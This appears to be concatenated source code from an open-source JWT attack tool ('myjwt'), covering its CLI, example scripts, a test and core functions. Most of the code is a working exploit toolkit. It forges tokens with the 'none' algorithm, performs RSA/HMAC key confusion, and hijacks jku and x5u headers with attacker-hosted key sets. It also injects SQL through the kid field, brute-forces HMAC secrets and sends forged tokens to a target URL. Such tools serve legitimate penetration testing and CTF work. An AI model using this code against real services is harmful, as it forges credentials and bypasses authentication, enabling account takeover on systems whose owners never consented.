def test_encode_jwt():
"""
Test encode_jwt method in utils.py
"""
with pytest.raises(InvalidJwtJson):
encode_jwt({})
new_jwt = encode_jwt(jwt_json)
assert new_jwt + "." == jwt
def user_none_vulnerability(jwt_json: Dict) -> None:
"""
Print for none vulnerability.
Parameters
----------
jwt_json: Dict
your jwt json (use encode_to_json.Check Doc).
"""
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
def user_confusion_rsa_hmac(jwt_json: Dict, hmac: str) -> None:
"""
Print for rsa/hmac confusion.
Parameters
----------
jwt_json: Dict
your jwt json (use encode_to_json.Check Doc).
hmac: str
path of your public key.
"""
jwt = confusion_rsa_hmac(
encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE],
hmac,
)
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
def user_x5u_by_pass(jwt_json: Dict, url: str) -> None:
"""
Print for x5u bypass method.
Parameters
----------
jwt_json: Dict
your jwt json (use encode_to_json.Check Doc).
url: str
your url
"""
new_jwt = jku_vulnerability(
jwt=encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE],
url=url,
)
click.echo(NEW_JWT + new_jwt)
copy_to_clipboard(new_jwt)
click.echo(
f"Please run python -m http.server --bind {url} .Before send your jwt",
)
def user_kid_injection(jwt_json: Dict, injection: str) -> str:
"""
Print for kid injection method.
Parameters
----------
jwt_json: Dict
your jwt json (use encode_to_json.Check Doc).
injection: str
your injection
Returns
----------
str
Your jwt.
"""
return inject_sql_kid(
jwt=encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE],
injection=injection,
)
def user_bruteforce_wordlist(jwt_json: Dict, wordlist: str) -> None:
"""
Print For bruteforce method.
Parameters
----------
jwt_json: Dict
your jwt json (use encode_to_json.Check Doc).
wordlist: str
path of your wordlist
"""
if "HS" not in jwt_json[HEADER]["alg"]:
click.echo(CHECK_DOCS)
key = bruteforce_wordlist(
encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE],
wordlist,
)
if key == "":
click.echo(NOT_CRAKED)
else:
copy_to_clipboard(key)
click.echo(CRACKED + key)
def none_vulnerability(jwt: str) -> str:
"""
Check none Vulnerability.
Parameters
----------
jwt: str
your jwt string.
Returns
-------
str
your new jwt.
Raises
-------
InvalidJWT
if your jwt is not valid.
"""
if not is_valid_jwt(jwt):
raise InvalidJWT("Invalid JWT format")
jwt_json = change_alg(jwt_to_json(jwt), "none")
return encode_jwt(jwt_json) + "."
from myjwt.modify_jwt import add_header
from myjwt.modify_jwt import add_payload
from myjwt.modify_jwt import change_payload
from myjwt.utils import encode_jwt
from myjwt.utils import jwt_to_json
from myjwt.utils import SIGNATURE
jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjpudWxsfQ.Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM"
# header {"typ": "JWT", "alg": "HS256"}
# payload {"user": null}
jwt_json = jwt_to_json(jwt)
# "header" = {"typ": "JWT", "alg": "HS256"}
# "payload" = {"user": null}
# "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM"
jwt_json = add_payload(jwt_json, {"username": "******", "password": "******"})
# "header" = {"typ": "JWT", "alg": "HS256"}
# "payload" = {"username": "******", "password": "******"}
# "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM"
jwt_json = add_header(jwt_json, {"kid": "001"})
# "header" = {"typ": "JWT", "alg": "HS256", "kid": "001"}
# "payload" = {"username": "******", "password": "******"}
# "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM"
jwt_json = change_payload(jwt_json, {"username": "******"})
# "header" = {"typ": "JWT", "alg": "HS256", "kid": "001"}
# "payload" = {"username": "******"}
# "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM"
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
print(jwt)
def myjwt_cli(jwt, **kwargs):
"""
\b
This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Full documentation is at http://myjwt.readthedocs.io.
If you see problems or enhancement send an issue.I will respond as soon as possible.
Enjoy :)
All new jwt will be copy to the clipboard.
\f
Parameters
----------
jwt: str
your jwt
kwargs: Dict
all option value
"""
if not is_valid_jwt(jwt):
sys.exit(NOT_VALID_JWT)
# detect if some options are here
# if no option detected print user_interface
interface_mode = True
for option in kwargs.values():
if not (option is None or option == () or not option
or option == "GET"):
interface_mode = False
if interface_mode:
user_interface(jwt)
sys.exit()
if kwargs["bruteforce"]:
jwt_json = jwt_to_json(jwt)
if "HS" not in jwt_json[HEADER]["alg"]:
sys.exit(CHECK_DOCS)
key = bruteforce_wordlist(jwt, kwargs["bruteforce"])
if key == "":
sys.exit(NOT_CRAKED)
else:
copy_to_clipboard(key)
click.echo(CRACKED + key)
if (not kwargs["add_header"] and not kwargs["add_payload"]
and not kwargs["full_payload"]):
sys.exit()
if kwargs["add_payload"]:
payload_dict = dict()
for payload in kwargs["add_payload"]:
new_str = payload.split("=")
if len(new_str) != 2:
sys.exit(VALID_PAYLOAD)
payload_dict[new_str[0]] = new_str[1]
jwt_json = add_payload(jwt_to_json(jwt), payload_dict)
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
if kwargs["add_header"]:
header_dict = dict()
for header in kwargs["add_header"]:
new_str = header.split("=")
if len(new_str) != 2:
sys.exit(VALID_HEADER)
header_dict[new_str[0]] = new_str[1]
jwt_json = add_header(jwt_to_json(jwt), header_dict)
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
if kwargs["full_payload"]:
try:
jwt_json = change_payload(
jwt_to_json(jwt),
json.loads(kwargs["full_payload"]),
)
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
except JSONDecodeError:
sys.exit(VALID_PAYLOAD_JSON)
if kwargs["x5u"]:
jwt = x5u_vulnerability(
jwt,
url=kwargs["x5u"],
pem=kwargs["key"],
crt=kwargs["crt"],
file=kwargs["file"],
)
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["jku"]:
jwt = jku_vulnerability(
jwt,
kwargs["jku"],
kwargs["file"],
kwargs["key"],
)
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
click.echo(
f"Please run python -m http.server --bind {kwargs['jku']} .Before send your jwt",
)
if kwargs["kid"]:
jwt = inject_sql_kid(jwt, kwargs["kid"])
if not kwargs["sign"]:
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["hmac"]:
jwt = confusion_rsa_hmac(jwt, kwargs["hmac"])
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["none_vulnerability"]:
jwt_json = change_alg(jwt_to_json(jwt), "none")
jwt = encode_jwt(jwt_json) + "."
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["sign"]:
jwt_json = jwt_to_json(jwt)
if "HS" not in jwt_json[HEADER]["alg"]:
sys.exit(CHECK_DOCS)
jwt = signature(jwt_json, kwargs["sign"])
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["verify"]:
jwt_json = jwt_to_json(jwt)
if "HS" not in jwt_json[HEADER]["alg"]:
sys.exit(CHECK_DOCS)
new_jwt = signature(jwt_json, kwargs["verify"])
click.echo(
VALID_SIGNATURE if new_jwt.split(".")[2] == jwt.split(".")[2] else
INVALID_SIGNATURE, )
if kwargs["crack"]:
jwt_json = jwt_to_json(jwt)
if "HS" not in jwt_json[HEADER]["alg"]:
sys.exit(CHECK_DOCS)
all_string = list(exrex.generate(kwargs["crack"]))
click.echo(
kwargs["crack"] + " have " + str(len(all_string)) +
" possibilities", )
with click.progressbar(
all_string,
label="Keys",
length=len(all_string),
) as bar:
for key in bar:
new_jwt = signature(jwt_json, key)
if new_jwt.split(".")[2] == jwt.split(".")[2]:
copy_to_clipboard(key)
sys.exit("Key found: " + key)
sys.exit(INVALID_SIGNATURE)
if kwargs["url"]:
data_dict = dict()
for d in kwargs["data"]:
new_str = d.split("=")
if len(new_str) != 2:
sys.exit(VALID_DATA)
if new_str[1] == "MY_JWT":
data_dict[new_str[0]] = jwt
else:
data_dict[new_str[0]] = new_str[1]
cookies_dict = dict()
for cookie in kwargs["cookies"]:
new_str = cookie.split("=")
if len(new_str) != 2:
sys.exit(VALID_COOKIES)
if new_str[1] == "MY_JWT":
cookies_dict[new_str[0]] = jwt
else:
cookies_dict[new_str[0]] = new_str[1]
try:
response = send_jwt_to_url(
kwargs["url"],
kwargs["method"],
data_dict,
cookies_dict,
jwt,
)
click.echo(response.text)
except requests.exceptions.ConnectionError:
sys.exit("Connection Error. Verify your url.")
if kwargs["print"]:
copy_to_clipboard(jwt)
print_decoded(jwt)
if (not kwargs["none_vulnerability"] and not kwargs["hmac"]
and not kwargs["bruteforce"] and not kwargs["sign"]
and not kwargs["verify"] and not kwargs["jku"]
and not kwargs["x5u"] and not kwargs["print"]):
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
sys.exit()
def x5u_vulnerability(jwt=None, url=None, crt=None, pem=None, file=None):
"""
Check jku Vulnerability.
Parameters
----------
jwt: str
your jwt.
url: str
your url.
crt: str
crt path file
pem: str
pem file name
file: str
jwks file name
Returns
-------
str
your new jwt.
"""
if not is_valid_jwt(jwt):
raise InvalidJWT("Invalid JWT format")
if file is None:
file = "jwks_with_x5c.json"
jwt_json = jwt_to_json(jwt)
if "x5u" not in jwt_json[HEADER]:
raise InvalidJWT("Invalid JWT format JKU missing")
if crt is None or pem is None:
crt, pem = create_crt()
with open(crt) as f:
content = f.read()
f.close()
x5u = requests.get(jwt_json[HEADER]["x5u"]).json()
x5u["keys"][0]["x5c"] = (content.replace("-----END CERTIFICATE-----",
"").replace(
"-----BEGIN CERTIFICATE-----",
"").replace("\n", ""))
if ".json" not in file:
file += ".json"
if not url.endswith("/"):
url += "/"
jwt_json[HEADER]["x5u"] = f"{url}{file}"
f = open(file, "w")
f.write(json.dumps(x5u))
f.close()
s = encode_jwt(jwt_json)
key = crypto.load_privatekey(crypto.FILETYPE_PEM, open(pem).read())
priv = key.to_cryptography_key()
sign = priv.sign(
bytes(s, encoding="UTF-8"),
algorithm=hashes.SHA256(),
padding=padding.PKCS1v15(),
)
return s + "." + base64.urlsafe_b64encode(sign).decode("UTF-8").rstrip("=")
def jku_vulnerability(jwt=None, url=None, file=None, pem=None):
"""
Check jku Vulnerability.
Parameters
----------
jwt: str
your jwt.
url: str
your url.
file: str
your output json file name
pem: str
pem file name
Returns
-------
str
your new jwt.
"""
if not is_valid_jwt(jwt):
raise InvalidJWT("Invalid JWT format")
jwt_json = jwt_to_json(jwt)
if "jku" not in jwt_json[HEADER]:
raise InvalidJWT("Invalid JWT format JKU missing")
if file is None:
file = "jwk-python.json"
jwks = requests.get(jwt_json[HEADER]["jku"]).json()
jwt_json[HEADER]["alg"] = "RS256"
if ".json" not in file:
file += ".json"
if not url.endswith("/"):
url += "/"
jwt_json[HEADER]["jku"] = f"{url}{file}"
if pem is None:
key = crypto.PKey()
key.generate_key(type=crypto.TYPE_RSA, bits=2048)
else:
key = crypto.load_privatekey(crypto.FILETYPE_PEM, open(pem).read())
priv = key.to_cryptography_key()
pub = priv.public_key()
e = pub.public_numbers().e
n = pub.public_numbers().n
jwks["keys"][0]["e"] = (base64.urlsafe_b64encode(
e.to_bytes(e.bit_length() // 8 + 1,
byteorder="big"), ).decode("UTF-8").rstrip("="))
jwks["keys"][0]["n"] = (base64.urlsafe_b64encode(
n.to_bytes(n.bit_length() // 8 + 1,
byteorder="big"), ).decode("UTF-8").rstrip("="))
f = open(file, "w")
f.write(json.dumps(jwks))
f.close()
s = encode_jwt(jwt_json)
sign = priv.sign(
bytes(s, encoding="UTF-8"),
algorithm=hashes.SHA256(),
padding=padding.PKCS1v15(),
)
return s + "." + base64.urlsafe_b64encode(sign).decode("UTF-8").rstrip("=")
from myjwt.modify_jwt import change_payload
from myjwt.utils import encode_jwt
from myjwt.utils import jwt_to_json
from myjwt.utils import SIGNATURE
from myjwt.vulnerabilities import none_vulnerability
jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjpudWxsfQ.Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM"
jwt_json = jwt_to_json(jwt)
jwt_json = change_payload(jwt_json, {"username": "******"})
# "header" = {"typ": "JWT", "alg": "HS256"}
# "payload" = {"username": "******"}
# "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM"
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])
# "header" = {"typ": "JWT", "alg": "none"}
# "payload" = {"username": "******"}
# "signature" = ""
print(jwt)
def signature(jwt_json: Dict, key: str) -> str:
"""
Sign your jwt.
Parameters
----------
jwt_json: Dict
your jwt json (use encode_to_json.Check Doc).
key: str
key for dign your new jwt.
Returns
-------
str
new jwt.
Raises
-------
InvalidJwtJson
if your jwt_json is not a Dict.
UnknownAlg
if your alg is not a valid alg. Accepted: none, HS{256,384,512}.
"""
if not is_valid_jwt_json(jwt_json):
raise InvalidJwtJson("Invalid JWT json format")
if jwt_json[HEADER]["alg"] == "none":
return encode_jwt(jwt_json) + "."
elif jwt_json[HEADER]["alg"] == "HS256":
jwt = encode_jwt(jwt_json)
signature_hmac = hmac.new(
key.encode(),
jwt.encode(),
hashlib.sha256,
).digest()
new_signature = (base64.urlsafe_b64encode(signature_hmac).decode(
"UTF-8").strip("="))
return jwt + "." + new_signature
elif jwt_json[HEADER]["alg"] == "HS384":
jwt = encode_jwt(jwt_json)
signature_hmac = hmac.new(
key.encode(),
jwt.encode(),
hashlib.sha384,
).digest()
new_signature = (base64.urlsafe_b64encode(signature_hmac).decode(
"UTF-8").strip("="))
return jwt + "." + new_signature
elif jwt_json[HEADER]["alg"] == "HS512":
jwt = encode_jwt(jwt_json)
signature_hmac = hmac.new(
key.encode(),
jwt.encode(),
hashlib.sha512,
).digest()
new_signature = (base64.urlsafe_b64encode(signature_hmac).decode(
"UTF-8").strip("="))
return jwt + "." + new_signature
raise UnknownAlg(
"Unknown alg " + jwt_json[HEADER]["alg"] + "send an issue please.", )